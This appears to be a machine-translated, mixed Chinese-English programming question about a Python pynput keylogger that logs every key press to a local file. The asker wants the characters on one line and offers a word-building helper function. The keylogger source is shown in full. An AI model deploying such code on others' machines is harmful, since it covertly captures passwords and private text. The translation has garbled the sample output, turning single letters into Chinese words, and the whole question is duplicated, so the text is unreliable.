简单的键盘记录器 "Problem in logging to a file"
Simple keylogger "Problem in logging to a file"
问题:
日志文件为每个字符 在新行中一个接一个地保存一个字符。
Objective是将所有字符记录在同一行
日志中的格式是否有问题?
代码
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
结果:
记录
-->在File.txt
l
o
克
克
我
n
克
预期结果
日志记录
-->在File.txt
日志记录
这需要什么样的格式?
这个函数是抓取一个word/sentence
old=""
space = False
def key_log(key):
global old
global space
if key=="Key.space":
space=True
if len(key) == 1:
if space:
key = old + " " + key
space=False
else:
key = old + "" + key
old = key
print(key)
else:
print(key)
logging.info(key)
使用此功能
def btn_press(key):
#logging.info(key)
key_log(str(key))
结果
记录
-->File.txt
l
lo
log
logg
loggi
loggin
logging
这种方式更好还是其他方式更好?
不胜感激!
问题:
日志文件为每个字符 在新行中一个接一个地保存一个字符。
Objective是将所有字符记录在同一行
日志中的格式是否有问题?
代码
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
结果: 记录
-->在File.txt
l
o
克
克
我
n
克
预期结果
日志记录
-->在File.txt
日志记录
这需要什么样的格式?
这个函数是抓取一个word/sentence
old=""
space = False
def key_log(key):
global old
global space
if key=="Key.space":
space=True
if len(key) == 1:
if space:
key = old + " " + key
space=False
else:
key = old + "" + key
old = key
print(key)
else:
print(key)
logging.info(key)
使用此功能
def btn_press(key):
#logging.info(key)
key_log(str(key))
结果 记录
-->File.txt
l
lo
log
logg
loggi
loggin
logging
这种方式更好还是其他方式更好?
不胜感激!